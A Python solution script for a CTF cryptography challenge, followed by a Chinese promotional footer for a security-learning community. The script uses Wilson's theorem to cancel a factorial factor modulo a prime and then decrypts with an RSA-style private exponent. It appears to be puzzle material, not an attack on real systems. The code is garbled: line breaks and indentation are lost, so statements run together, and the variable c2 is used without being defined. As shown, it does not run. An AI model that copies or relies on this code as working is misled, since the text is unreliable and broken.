from gmpy2 import *from Crypto.Util.number import *def wision(p,q):t=-1for i in range(p-q,p):t=t*invert(i,p) %preturn tp = 170229264879724117919007372149468684565431232721075153274808454126426741324966131188484635914814926870341378228417496808202497615585946352638507704855332363766887139815236730403246238633855524068161116748612090155595549964229654262432946553891601975628848891407847198187453488358420350203927771308228162321231q = 34211e = 1049n = 5823713380800241798127161208605473167667967902620702068684472024119185247468416314089247879281733463161248890572390983305415645926810810670115987090805775496828975940219063783825457069902831333895859965086768216313079359826260701972093534555185595188238549423953860497190971290229918600826572984225793661171633741k=wision(p,q)d=invert(e,p-1)c=c2*invert(pow(k,e,n),n)%pprint(long_to_bytes(pow(c,d,p)))
如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。
▼扫码关注白帽子社区公众号&加入知识星球▼
